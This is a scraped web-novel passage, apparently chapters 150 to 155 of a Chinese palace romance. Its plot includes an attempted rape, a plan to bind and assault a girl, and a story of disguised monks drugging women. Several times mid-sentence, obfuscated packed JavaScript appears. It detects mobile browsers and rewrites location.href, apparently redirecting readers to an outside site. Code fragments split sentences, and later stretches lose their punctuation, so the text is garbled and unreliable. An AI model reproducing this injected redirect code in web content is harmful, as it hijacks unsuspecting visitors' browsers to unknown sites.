宁浔不屑道:“怕什么?我那臭道士王叔和母夜叉王婶还能把我吃了?我们是亲戚,他们不得向着我?” 康贵都劝了好几天了,实在劝不动,没法了。 宁浔步履飞快地穿过花园,在小径处和几个人打了个照面。 他对为首的卢季同和谢珩森然一笑,阴阳怪气道:“这不是小葱花和大山炮么?怎么就你俩?咱们文曲星呢?” 卢季同摇着折扇,懒洋洋笑道:“上回见我还叫竹子精呢,怎么今儿就成小葱花了?” 宁浔示意他的青衫:“你今天更绿。” 不过绿不过陈宴。 好可惜啊,宁浔想,要是陈宴在多好。 让他亲眼看看自己是怎么给他戴绿帽子的。 宁浔着急办正事,没再多和他们废话。 谢珩望着宁浔匆匆的背影,不屑道:“肯定又去干什么鸡鸣狗盗之事了。” 大家都这么认为,宁浔肯定又看上哪个小丫鬟了。 宁浔来到一间房门口,迫不及待地推门而入。 这是供客人休息的客房,干净整洁,燃着清雅的香薰,十分怡人。 宁浔隔着轻纱床帐,看见了里边影影绰绰的人影。 他大步走过去,一把掀开床帐—— 床上的女孩正闭目熟睡。黛眉红靥,睫羽浓长,肤白而细腻,唇红而丰润。年岁尚小,已是一派好颜色。 宁浔一颗心狂跳起来,这才对! 他七公子该睡的就是这种美人! 宁浔迫不及待地脱衣上床,谁知那本该昏睡上一个时辰的姑娘忽然睁开了眼。 这是一双狐狸眼,眼角微勾,眼尾上翘,弧度飞云般流畅。 因为年岁和性格原因,眼中没有丝毫柔媚之 态,而是流露出动物般的警惕和狡黠。 宁浔先是暗叹好漂亮的一双眼,后觉得有点眼熟,好像在哪里见过这双美目。 对方一开口,宁浔顿时想起来了! 因为她说:“又见面了,小大丑男。” 宁浔:“!” 他大惊失色,一屁股坐在床尾,失声喊道:“怎么是你!” 极度的意外和那日的恐吓齐齐袭来,将宁浔的旖旎之思驱散了个七七八八。 他张口便要叫人,但叶绯霜没给他这个机会。 叶绯霜一脚踹向了宁浔裆部。 关键部位受袭,突然爆发的巨大疼痛让宁浔捂着下体在床上打起滚来。 痛感从下体蔓延到小腹,整个腹腔都在痛,宁浔青筋暴起,汗如雨下。 他张大嘴,连痛呼都发不出来。空气仿佛哽在了喉咙里,让他胸腔窒闷,大脑空白。 叶绯霜揪着他就开始揍。 木质架子床碰撞墙壁,发出接连不断的声响。 现在只有康贵一个人守在门口,他听着这巨大的动静,想着他家公子这得多快活,别把人房顶子拆了。 遇到的美人越好看,他家公子就越兴奋。现在看来,这郑五姑娘应该是他家公子十九载人生中遇到的最好看的一个了。 唉,这种大美人,他家公子一次肯定不会满足的,说不定还会接到府里去。 只是不知道那郑五姑娘愿不愿入晟王府。 碰撞声愈发激烈而密集,康贵一个阉人都听得有点脸红了。 忽然,他瞧见一大群人朝这边走来。 定睛一看,为首的不正是璐王妃和璐王世子吗? 康贵心中暗道不好,急忙敲门:“公子,璐王府的人来了!” 叶绯霜停止了对宁浔的殴打,现在的宁浔鼻青脸肿,面目狰狞,没个人样了。 他快被揍晕了,但是关键部位的致死疼痛让他连彻底晕过去都不能。 叶绯霜听见了璐王妃和康贵在说话。 宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115875|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衡果然很靠谱,这么快就把人带来了。 叶绯霜奔到门口,直扑进璐王妃怀里,哀哀叫道:“王妃!有坏人想欺负我!我害怕,呜呜呜!” 璐王妃赶忙看她:“你怎么样?” 叶绯霜抹着眼睛摇头。 许多跟在后边的贵妇们瞧见叶绯霜衣裙整洁就连头发都没乱便知她没出事。 康贵眼皮子挑了挑急忙跑到床边一看顿时骇得冷汗如雨尖声喊道:“公子公子您醒醒!” 见自家公子半死不活康贵又惊又气朝叶绯霜大喊:“大胆你竟敢打我们七公子当心你的小命!” 叶绯霜使出了哭字诀:“呜。” 宁衡立刻道:“郑五姑娘又没见过堂兄她如何识得?她只以为是歹人。” 叶绯霜:“哇。” 璐王妃也斥道:“是宁浔混账性子又犯了 叶绯霜:“嘤。” 她哭得这群贵妇们心疼得很小姑娘家家的遭到这种事得多害怕啊。 叶绯霜抽噎着:“我真、真不知道他是晟王七、七公子陈、陈宴抢了他的心上人他就来欺辱我、我可是我都已经和陈宴退婚了实在不、不该遭受这些。” 贵妇们纷纷震惊:“你和陈三郎退婚了?” 她们这些日子是有听到退婚的事还以为是谣言但现在可是当事人自己承认。 叶绯霜点头:“退了。傅表姐的丑闻一开始传的是我我虽、虽然冤枉但也不配再和陈三郎结亲就退了。” 贵妇们顿时对她更加怜爱了平白被泼脏水丢了婚事还无辜受到宁浔的觊觎这真是倒了八辈子的大霉。 璐王妃让宁衡着人把宁浔抬走给他传大夫。 她牵着叶绯霜离开这里遇见了得到消息匆匆赶来的卢氏。 叶绯霜抱着卢氏又是一通哭。 卢氏很强硬地替自家侄女做主璐王妃说等宁浔醒来一定让他登门致歉。 第二天叶绯霜去味馨坊见到了宁衡。 宁衡说宁浔身上的皮外伤倒好说但命根子伤势惨重以后能不能人道还是两说。 宁衡唾弃宁浔:“活该净干些欺男霸女的事就该阉了他让他**!” 第151章 驱逐刁奴 细雨将客居的紫竹林洗得一尘不染,和风送来阵阵清雅竹香。 紫竹林里有一草庐,构造简单,却足够大。 庐内铺着竹席,摆着大榻、矮桌,青泥火炉上炜着一壶茶。 陈宴盘坐在席上,正听着潇潇雨声,作一幅画。 婢女们悄无声息地在一边煮茶、研墨、熏香,并不打扰这一方宁静。 她们三公子喜欢雨天,每逢下雨,便来这草庐中观雨赏竹。 石子路上传来一阵急促的脚步声,研墨的侍女轻声说:“公子,锦风到了。” 锦风把伞靠在檐下,抖了抖水汽,才走近:“公子,您找我?” 陈宴勾勒着竹叶,头也不抬:“荥阳如何?” 锦风把璐王府的事禀告了,幸灾乐祸:“听说七公子现在还不能下地呢,不知道以后还顶不顶用。” “让你办的事呢?” “都办好了啊,荥阳里没有关于郑五姑娘的传闻……哦不对,有。公子,大家都知道你们退婚了,好像就是郑五姑娘亲口说的。” 他还听说,已经有许多人家蠢蠢欲动,想替自家姑娘来陈家说亲了。 锦风觉得挺好,那些都是大家闺秀,肯定能和他们公子相配。 陈宴蘸了蘸墨,不疾不徐地说:“让流言发酵两日再平息,是不是你的意思?” 锦风的笑容僵住了,立刻解释:“公子,我没有别的意思,我是想……” “你怎么想的我不关心。”陈宴慢条斯理地打断了锦风的话,“我身边不需要自以为是的人。” 想到之前的警告,锦风一颗心顿时跌入了谷底。 公子这么说,难道是要…… “你走吧。” 三个字,惊雷般砸在了锦风头顶。 锦风立刻跪倒:“公子,我真的在认真办事啊,我没有做错。” 面对这个跟了自己许多年的人,陈宴还是有耐心的:“倘若传出丑闻的是我的姐妹,亦或是郑二姑娘,我让你去处理,你可会任由流言发酵两日再平息?” 锦风顿时白了脸:“我……” “你还是看不起她。”陈宴总算给了锦风一个眼神。 他眸光清冷,带着讥诮:“可你又凭什么看不起她呢?不说出身 地位,单说文武才能、头脑胸怀,你哪一样比得过她? 一个个字砸在锦风心头,让他又不忿又羞愧。 “我身边不需要你这样的人。 锦风跟了陈宴这么多年,从未听他拿这么轻蔑的语气和自己说过话。 他还把自己彻底否定了。 锦风完全慌了,连连磕头道:“公子,我知错了,我改!我以后再也不会了,我一定惟公子命是从。 陈宴没有理会他的求饶,更没有再和他废话,直接让人把他拖出去。 锦风不忿,还在大喊:“公子,我这都是为了你啊!我是忠心的! 但他的嘶吼很快就被潇潇雨声淹没了。 雨水把石子路上的泥泞冲刷干净,仿佛没人来过。 侍女们眼观鼻鼻观心,恍若什么都没听到。 但心里其实都很畅快。 锦风的人缘不怎么样。 其实最开始还好,大家都是客居的下人,相亲相爱。 但后来逐渐长大,锦风便有了优越感,说自己和他们不一样,他可不是奴才,动辄对他们吆五喝六的。 其它人不忿,他们是客居的奴才,是公子的奴才,又不是他锦风的奴才。 但公子待他亲厚,他们也只能忍气吞声。 现在这个讨厌的人终于滚蛋了!可真好。 青岳来给陈宴送信,陈宴告诉他以后顶替锦风的位置。 青岳的圆脸上浮现两个酒窝:“是! 青岳是当初陈老爷子在给陈宴选护卫的时候,从军营里挑出来的。父亲是昭武校尉,六品官。 陈宴浏览完信上的内容,将信投入煮茶的火炉中烧了。 “渑州的官员倒还得用,没有让监察御史挑出错处来。 陈宴看信的时候没有避着青岳,青岳便也伸着脖子跟着看了,知道了信上的内容。 “那为何不让他继续留在渑州? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115876|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反而把他调去京城? “因为他得用。 青岳眨眨眼,笑道:“属下懂了。既然是个可用之才,那就安插到更重要的地方去,在渑州重新培育起新的棋子来。 他又说: “听说上一任渑州长官还是公子两年前亲手掳下来的。” 陈宴温雅一笑:“那是祖父第一次派我管官场上的事还是大事。我运气不错完成的还可以没有让祖父失望。” 青岳立刻拍马屁:“哪儿是运气啊是公子厉害!” 陈宴望着雨幕语调因为想起往事而变得悠远:“我还在回程的船上第一次遇见郑五姑娘。” “这么巧?那公子和郑五姑娘很有缘分呢!” 陈宴自我调侃:“退婚的缘分?” 青岳豁达得很:“退就退呗再追不就是了。反正郑五姑娘还小公子你的时间多的是。” “说得好。”陈宴起身“那便去吧。” “去哪儿?” “荥阳。怀瑜书院山长请我入院讲学我应了。” 青岳:“太好了!” “你兴奋什么?” 青岳:“郑五姑娘铺子里的点心好吃!” 此时的叶绯霜还不知道味馨坊又收获了一枚忠实客户。 她在翻看她收到的 五房生意做得大去的地方多人又多所以事更多。 厚厚一叠纸都可以编成书了。 叶绯霜靠在榻上一边吃点心一边当话本子看。 在看到秋姨娘的独苗是请了廉州白溪寺的姑子们做了法才得到的后叶绯霜直接被一块儿点心噎住了咳得惊天动地。 小桃急忙给她捶背倒水:“姑娘看着啥了这是?没事吧?” 叶绯霜摆了摆手。 怎么会没事呢? 有事有大事! 她对廉州白溪寺这个尼姑庵可印象太深刻了。 前世陈宴任刑部侍郎的时候经常给她讲他办的一些案子。 有悬案有大案有奇案。 这个白溪寺在叶绯霜认定的“奇案”里绝对是排得上号的。 第152章 不可貌相 前世,陈宴给叶绯霜讲了白溪寺求子很灵验的故事,把叶绯霜听得一愣一愣的。 “真这么灵啊?”她睁大眼睛问,“世上真有鬼神?有送子观音?” 陈宴道:“有没有鬼神我不知道,但世上的确存在不少常理所不能解之事。” 看来是真的很灵了。 叶绯霜偷偷想,要是自己也能去白溪寺拜一拜就好了。 她感觉自己可能有点问题。她跟了陈宴两年多了,可还是没什么消息。 他们的房事很频繁,而她又从来没有喝过避子汤什么的,不应该呀。 各方面已经很差劲了,现在发现连孩子也生不出来,她怎么就这么没用呢? 唉。 脑门被敲了一下,听陈宴问:“想什么呢?” “啊,在想白溪寺。”她忙说,“那里的姑子们一定很虔诚吧,所以菩萨才会显灵。” “姑子?”陈宴嗤笑,“根本就没几个姑子。” “你不是说那是个尼姑庵吗?” “一开始的确是正儿八经的尼姑庵,但是香火不怎么旺盛。有一个老尼姑就萌生出个损阴德的点子,找了些男生女相的少年,让他们入了寺,假扮尼姑。” 陈宴徐徐道:“然后白溪寺就有了‘送子’这门生意,真假尼姑组成一队,去香客家里开坛做法。真尼姑负责和香客交流,假尼姑负责给香客送子。” 叶绯霜一整个震惊住:“怎、怎么送子啊?” 陈宴勾着她的一缕发丝笑:“自然是男女相合,还能有第二个法子?” “那……那些香客们得到的孩子,不都是那些假尼姑的吗?” “是啊。” “她们不会发现吗?就那些女子,她们难道不知道自己和人……睡觉了?” “尼姑们开坛做法时闲杂人等不可靠近,只能在院外等待。求子的女子在烧香之后会被带入房中,美名曰等待送子观音显灵。其实是假尼姑们给女子们服下名为送子汤的**,行**之事。 当然会有女子在事后察觉出身体异样,但尼姑们说是这代表观音送子成功了。有些女子信了,有些女子怀疑自己受了**,但谁敢说?一是没证据,二是无子已经在夫家活得很艰难了,再添一条**,不是自寻死路? 也只能忍了。 然后,从白溪寺成功求到子的人越来越多,白溪寺的香火越来越旺盛,香客也越来越多。 终于纸包不住火,这个雷炸了。 许多家庭支离破碎。 一些人,本来视求到儿子是光宗耀祖的美事,可现在,儿子真正的亲爹是哪个假尼姑都不清楚,顿时沦为笑柄。 一时间,休妻杀子、妇人自戕之事接连不断,廉州街边的死婴明显比往年多了不少。 叶绯霜后来还把这事隔着墙给自己唯一的朋友讲了。 她那朋友说:“唉,正常。你们这里的人都觉得生不出孩子是女人的毛病,其实有不少问题出在男人身上。那尼姑庵里的假尼姑们都是年轻的漂亮小伙,身体又好,能让人怀孕太正常了。 叶绯霜道:“如果是这样,生不出孩子的是男人,想要孩子的是男人,休妻杀子的也是男人。可最后真正付出代价的都是女人和孩子。 她的朋友叹息:“很离谱对不对?可你们这个世道就是这样的。 “姑娘,姑娘?小桃的手在叶绯霜眼前晃了晃,“你发什么呆呢? 叶绯霜回神:“你觉得我十一弟长得怎么样? 小桃挠挠头:“小孩子不都长那样?若要说,我感觉十一少爷长大后应该比五老爷好看,十一少爷眼睛很大,五老爷眼太小了。 叶绯霜想了想:“走,咱们去五房看看十一弟。 当然不能空手去,她让小桃去耳房找了块儿适合给小孩子做衣服的软布。 小桃一说眼睛,叶绯霜就想到了她的朋友和她说过的另外一句话—— “其实你们这里的滴血验亲根本不靠谱,我知道一个判断标准还更靠谱点。如果爹娘都是单睑,生出来的孩子也必定是单睑。要孩子是重睑,那铁定其中一方不是亲的。 郑丰和秋姨娘还真都是单睑。 叶绯霜仔细看了看郑文宝的眼睛…… 已经显现出重睑了。 叶绯霜看向一边的秋扇,对方满脸警惕,生怕她对郑文宝不利。 叶绯霜没多说什么,就离开了。 没走出多远,和从花园里回来的十七姨娘打了个照面。 她的小腹已经隐隐有一点凸起的痕迹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115877|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 叶绯霜和对方不熟,随便颔首就擦肩而过。 可谁知对方叫住了她。 “五姑娘,十一少爷周岁宴上的事不是我做的。”她的声音轻软好听,带着些苦闷,“我没有让人推十一少爷,更没有想嫁祸给你。我是无辜的,可没人信我。” 叶绯霜还没说话,秋姨娘就站在房门口骂了起来:“你个小蹄子又在狡辩了?知府大人都说是你了!哼,等你肚子这块肉下来,看我怎么收拾你!” 十七姨娘弱弱地反驳,惹来秋姨娘更加尖厉的骂声。 小桃快步跟在叶绯霜身侧,问:“姑娘,你觉得十七姨娘说的是真的吗?” “如果真的不是她,那就是另有其人,而且对方藏得很深,连知府大人都骗过去了。” 小桃打了个激灵:“她们五房真可怕。还是咱们四房好,人少清净事也少。” 回到玉琅阁后,叶绯霜叫来了阿夏。 阿夏是一开始和小桃一起被叶绯霜亲自挑到落梅小筑的,比后边来的人都要亲厚。 小桃随身跟着叶绯霜,阿夏年纪大些,平时就忙院子里的事,是个很稳妥的人。 叶绯霜低声叮嘱她:“以后五婶再来找我娘亲,你留意着点,听一听她们都说了什么,然后都告诉我。” 阿夏点头:“明白,姑娘。” 小桃问:“姑娘,你怀疑五夫人啊?” “留个心眼总是没错的。秋姨娘和十七姨娘斗,还牵扯到十一弟,受益的不是五婶吗?” 小桃啧啧嘴:“五夫人看着那么老实。” “人不可貌相。这世间多少人,都是表里不一的。” 就像白溪寺里的尼姑,看着是尼姑,谁能想到竟是男人假扮的? 小桃深以为然,得意地说:“是的,就像很多人以为我只是个普通的小丫头,其实我是个已经攒了十五两私房银子的富裕小丫头!” 叶绯霜被她逗笑了,利落地拍出一块银锭子:“你家姑娘给你凑个整,以后就是二十两了!” “啊啊啊!”小桃立刻化身尖叫鸡。 两人正笑闹成一团,听见外边传来一阵响动。 阿夏进来禀告:“姑娘,新院子那位贵客搬进来了,大公子正招待呢。” 第153章 是你的狗 说是招待,其实郑文煊连对方的面儿都没见到。 只有一个仆从打扮的年轻男子对他说:“有劳郑大公子挂心,我家公子已经歇下了,您请回吧。” 郑文煊仰头看了一眼高悬的太阳,不太理解对方的作息,但仍然颔首:“好,请尊公子好生休养。若有什么需求,只管提出来,莫要客气。” 仆从点头:“多谢。” 说罢,干脆利落地转身回院子了。 郑文煊打量着这个仆从。 对方穿着细布葛衣,黑底布鞋,不是豪仆打扮。 但他相貌清俊,身形挺拔,不似一般仆从弯腰躬身之态。加之步履轻盈而稳健,可见是个不错的练家子。 郑文煊想,这喜好奢靡的主子倒是养出来个清贫的仆从,有趣。 连雨不知春去,一晴方觉夏深。 晚上,吃过饭,叶绯霜在院中纳凉,萧序来了。 他蹲在叶绯霜的摇椅旁边,拄着脸朝她吹气。 叶绯霜眼也不睁:“来了?” 萧序眨巴眨巴眼睛:“阿姐是在等我吗?” “我知道你会来。” “阿姐最懂我了!” 叶绯霜看向他,此时日落西山,东方月影初现,薄暮霞光照过来,衬得他面如冠玉,眸璨如星。 叶绯霜不禁感叹:“你阿姐一定是个大美人吧。” “当然啦!我阿姐天下第一美!” 萧序撩袍席地一坐,靠在叶绯霜的摇椅边。 “前阵子可忙死我了,家里破事真多,总算处理完了。”萧序抱怨完,开心地说,“阿姐,以后我就守着你,我哪儿都不去了!” 叶绯霜觉得这样不太对:“人各有志,你的志向是什么?” “我的志向就是阿姐你呀!” “……除了你阿姐……我。” 萧序毫不犹豫:“那没有了。” “你就不想做个官?” “我不想。但如果阿姐你想让我做,我还是会做的。”萧序扒着摇椅的扶手,下巴掸在手背上,眼巴巴地看着她,“阿姐,你想让我做什么官?我明日就让人去和皇帝老头要圣旨。” 叶绯霜:“……不要考试吗?” “不要啊,考那东西干什么? ”萧序理直气壮“我做官又不是为了造福百姓我是为了满足阿姐你的要求呀。” “那你还是别做了。” “嘿嘿。” 叶绯霜又问:“那你不想做点生意赚点钱?” “阿姐你缺钱吗?”萧序立刻摸袖子摸出厚厚一叠银票塞给叶绯霜“呀今儿花多了只剩这些了我一会儿再回去拿。” 叶绯霜哭笑不得地把银票还给他:“我不要我现在不缺钱了我就是说你……唉。” 这到底是哪家养出来的败家大少爷。 叶绯霜不再和没有志向的人谈论志向转而问道:“萧序我问你一件事……” “悬光。”萧序打断她。 “好萧悬光我想问……” “悬光没有萧。”萧序纠正“阿姐你不要和我这么生分。” 他垂下长睫很伤心地说:“阿姐这个表字是你给我取的你都不愿意叫了吗?” 叶绯霜:“……” 我就是觉得咱俩还没熟到那个程度。 见叶绯霜沉默 叶绯霜:“呃可是我不叫他陈宴还能叫他什么呢?” “他的陈宴是你取的你就叫。我的悬光也是你取的你就不叫。” 叶绯霜:“……” 怎会有如此逆天之言。 她哭笑不得:“陈宴的名字怎么会是我……你阿姐取的呢?你的名字你阿姐取还勉强过得去陈宴的名字……这肯定是他们家长辈取的啊。” 而且还要合了生辰八字、算了阴阳五行才取出来的。 萧序的阿姐再怎么样也不能有给陈宴取大名的资格啊。 “就是你取的!你说宴字代表……”他卡住了想了半天没想起来囫囵说“反正你说是个好意头你就叫他陈宴了。” 叶绯霜很同情地看着萧序。 感觉每次见到他他的病都比上次见面更重一点。 萧序还没说完呢委屈吧啦地继续说:“不光是名他的字也是你取的!你给他比给我的多!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115878|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶绯霜已经放弃挣扎了生无可恋地问:“哇我可真厉害我给 他取了个什么字呀?” 萧序眯起眼睛明显是在绞尽脑汁地想。 但是他想了半天没想起来反而把自己想得脸色越来越白了。 叶绯霜怕他再不舒服忙道:“好了好了悬光别想了。” 萧序抿着嘴巴眼睛微红就那么委屈又控诉地看着她。 ……叶绯霜讪笑觉得自己好像个恶人。 像是被一种无形的力量驱使着叶绯霜不由自主地摸了下他的头:“好了不难过。” “那你要多叫我几声。” “好悬光。” “嗯嗯嗯!还要。” “悬光。” “我在我在我在!” 叶绯霜被他逗乐了:“怎么和个小狗似的。” 话一出口她就觉得不妥哪有这么说人家的? 忙想道歉可谁知萧序一点生气的迹象都没有反而很兴奋地说:“我就是阿姐的狗!我要永远给阿姐当狗!” 叶绯霜不知道自己这是第几次震惊无语了。 这么纯洁贵气的脸是怎么说出这种话的。 直到萧序走了叶绯霜还没反应过来。 她抹了把脸。 她看萧序不是病了是快疯了。 一出玉琅阁萧序脸上的笑容就消失殆尽。 他绷着唇角垂着眼睫整个人森冷沉郁。 他疾步回了自己的院子拿出一个匣子里边满满当当装的都是写了字的纸张。 他拿出来一张一张翻阅 想不起来了……阿姐给陈宴取的那个表字就在嘴边但是他怎么都说不出来。 到底是什么? 翻阅良久萧序总算找到了他想看的那一张。 他长舒一口气缓缓坐在地毯上盯着纸上的最后一段。 上边写着: 阿姐对陈宴说:“山高不阻其志涧深不断其行。愿你往后坦然无惧砥砺向前。既然你想要我便为你取字涧深吧。” 对涧深。 陈宴陈涧深。 他的名和字都是阿姐取的。 第154章 嫌命长了 月黑风高,万籁俱寂,正是酣睡的好时候。 可醉红尘的某个房间内,一片鸡飞狗跳。 床帐内飞出一个衣不蔽体的女子,接着是一声暴躁的怒喝:“再来!” 门口的康贵急忙把一位女子推入房间,把那个被踹下来的带出去。 默数了不到十个数,宁浔的声音显然更暴躁了:“换人!” 门口排了十余名女子,进进出出,直到全都轮完。 “再来人!” 一脑门子冷汗的康贵进去,躬着身说:“公子,没人了,醉红尘的姑娘已经轮完了。” 宁浔披头散发,眼中血丝遍布,恶狠狠地瞪着康贵,活像要把他给生吞了。 康贵偷瞄过去,宁浔亵裤裆部平坦一片,可见他的宝贝并没有苏醒的迹象。 “废物,都是废物!”宁浔怒骂,“连本公子的宝贝都无法唤醒,干什么吃的!” 康贵擦了擦额角的汗,忙劝道:“公子,您再调理一段时间,一定会好的。” “还要调理多久?这都三个多月了!”宁浔暴躁地把硬枕狠狠砸向康贵。 康贵没躲,生生受了,好言相劝:“您别急,大夫们都说您的宝贝好着呢,没出毛病。现在还没法使,是因为……” “心病”这俩字康贵实在不敢说。 他难道要和宁浔说:“你硬不起来是因为被吓坏了。是的,你堂堂晟王七公子,被一个小姑娘吓得不举了。” 他又不是老寿星上吊——嫌命长了。 康贵说:“老奴觉得,解铃还须系铃人。” 宁浔沉默一息,神情变得愈发阴鸷:“你的意思是,还要找郑家那五女?” 康贵问:“公子,您甘心吗?” 宁浔磨牙,他怎么可能甘心! 没给陈宴戴成绿帽子就算了,自己还被弄成了这副德行,他里子面子都丢光了!他十九年来就没吃过这么大的亏! “下次,咱们就把她绑起来。”康贵出谋划策,“把手和脚都绑起来,保证让她动弹不得,公子您就可以为所欲为了!” 宁浔眯着眼睛,觉得这法子可行。 他狞笑两声,对康贵说:“这件事你要是再办不好,本公子就摘了你的脑袋!” 康贵忙 道:“公子放心吧!” 他能从一众奴才里脱颖而出,混成宁浔的近侍,他也不是废物。 —— 这段时间,萧序果然每天都来找叶绯霜。 今天让她陪着自己逛郑府,明天让她给他讲郑家的故事,粘人得很。 不过叶绯霜发现了,萧序不是真的爱听故事,他只是爱听她说话。 每次看他这个样子,叶绯霜都忍不住暗叹,这到底是多深的感情,才能在一个人离世之后,把另一个人逼成这样。 唉。 这天,他们逛着逛着,逛到了鼎福居不远处。 萧序歪着头看了看那处院子,说:“那里有好多暗卫。” “里边那老太婆安排的。”叶绯霜道,“她怕有人神不知鬼不觉地潜进去把她杀了。” 萧序不屑:“这种人肯定是亏心事做多了。” 叶绯霜深以为然。 萧序指着另外一处院子:“阿姐,那里住的谁?” “那里没有人住。那个院子原是我二伯的,但是他们那一房已经没人了。” 叶绯霜听靳氏讲过二房的故事。 说她二伯本名郑清,亲娘姓杨。 他娘自小就伺候老国公,后来成了通房,又被提成了姨娘。 杨姨娘生郑清的时候难产了,落下了病根,在郑清五岁时撒手人寰。 后来老国公薨逝,郑清在十岁的时候也夭折了。 二房就没人了。 萧序这次倒是听得很认真:“所以阿姐的大伯现在在京城袭爵,二伯去世了,三伯在当侍郎,四伯……呃,没有四伯,是阿姐的爹爹。五叔是那个胖子,还有其它人吗?” “我六叔也在做官,外放做了县令,离得很远,不知道什么时候才能回来。七叔……貌似是个侠客,一直在外边游历,也不知道什么时候才能回来。” 萧序认真点头:“噢。” 叶绯霜笑了:“你听这些干什么?还怪认真的。” 萧序一本正经,乖巧地说:“阿姐的家人就是我的家人,我肯定要好好了解的!” 两人不知不觉就走到了二房的院子外边。 其实之前叶绯霜也来过这里,不过来了一次就不想再来了,因为她觉得这院子给人 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115879|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >的感觉不太好。 世家大族府邸大,院子多,都由仆从们好好打理着。就像大房和六房的院子,即便没人住,也天天有人打扫,而且不会锁。 但是二房的院子落了把大锁。 叶绯霜问过靳氏,靳氏说可能因为二房没人了,院子也不打算给旁人再住,所以就锁起来了。 萧序忽然俯身靠近叶绯霜:“阿姐,这院子有古怪。 “怎么了? “你看那棵树,还有那棵树,那块石头……萧序一边说,一边给叶绯霜指,“构成了一个阵法。 “阵法?奇门八卦? “不是,是辟邪驱鬼的阵法,你可以想象成一张很大的符箓。 “你怎么知道? 萧序无奈地看着她:“因为我师父是干这行的呀。 叶绯霜:“……对不住。 不是她记性不好,实在是萧序这人的气质和佛门相距甚远。光看他这个人,谁也想不到他会有一个和尚师父。 叶绯霜觉得阴森森的:“你的意思是,这个院子是一个……凶宅,于是要用阵法来压着? 萧序连连点头:“对对对,就是这个意思,阿姐你太聪明了! 叶绯霜思忖片刻:“所以说我二伯和他娘,不是正常死亡? “从阵法来看,他们应该死得很惨。萧序说,“这个阵法一般用来压很凶的邪祟。 谁有权力封了二房的院子?谁又可以在二房外边用奇石怪木摆个阵法? 自然是她那好祖母了。 这死老太婆,真是越扒越有,到底干了多少丧尽天良的事。 好巧不巧,没隔几天,郑涟就拜托叶绯霜帮自己去办一件事。 “今日是你二伯娘亲的忌日,你祖母和她当初还挺好的。 叶绯霜知道爹爹现在说的祖母是他的亲娘,而非郑老太太。 “二房没人了,府里也没什么人记得,凄坟可怜,你帮爹爹去烧个纸吧。以前咱们都自顾不暇,也没法祭拜二房。现在咱们好了,也让他们在下头好过一些。 叶绯霜爽快应了:“好嘞。 郑涟找了命老仆,带着叶绯霜去郑氏祖坟。 到了她二伯的墓前,叶绯霜“咦了一声。 坟前竟然有烧过纸的痕迹。 有人来过了。 第155章 一个耳光 叶绯霜环视了一圈,只见树木葱郁,石碑林立,并没有看见什么人。 她猜,大概是族中有人还记得二房,所以来祭拜过。 叶绯霜摆好贡品、烧了许多纸钱。 她小声说:“二伯,我不知道是你和你娘亲是**的,但我一定会想办法收拾那个老太婆的,她不会有好下场。希望到时候你和你娘亲可以感到些许安慰。” 她恭恭敬敬地给长辈磕了三个头,离开了祖坟。 郑氏祖坟在荥阳北边的山上,山下有许多村落。 现在已是初秋,地里有许多人在劳作。 铜宝忽然说:“姑娘,看,杜大人!” 叶绯霜顺着铜宝指的方向一看,果然见杜知府挽着裤腿,正和庄户们一起劳作。 他的裤子上满是泥点子,后背的汗都把衣服打湿了。 带他们来祖坟的老仆笑呵呵地说:“咱们杜大人一点架子都没有,可真是个好官。” 叶绯霜深以为然地点头。 从百姓中来,到百姓中去,才能知道百姓最需要的是什么,才能做一个好官。 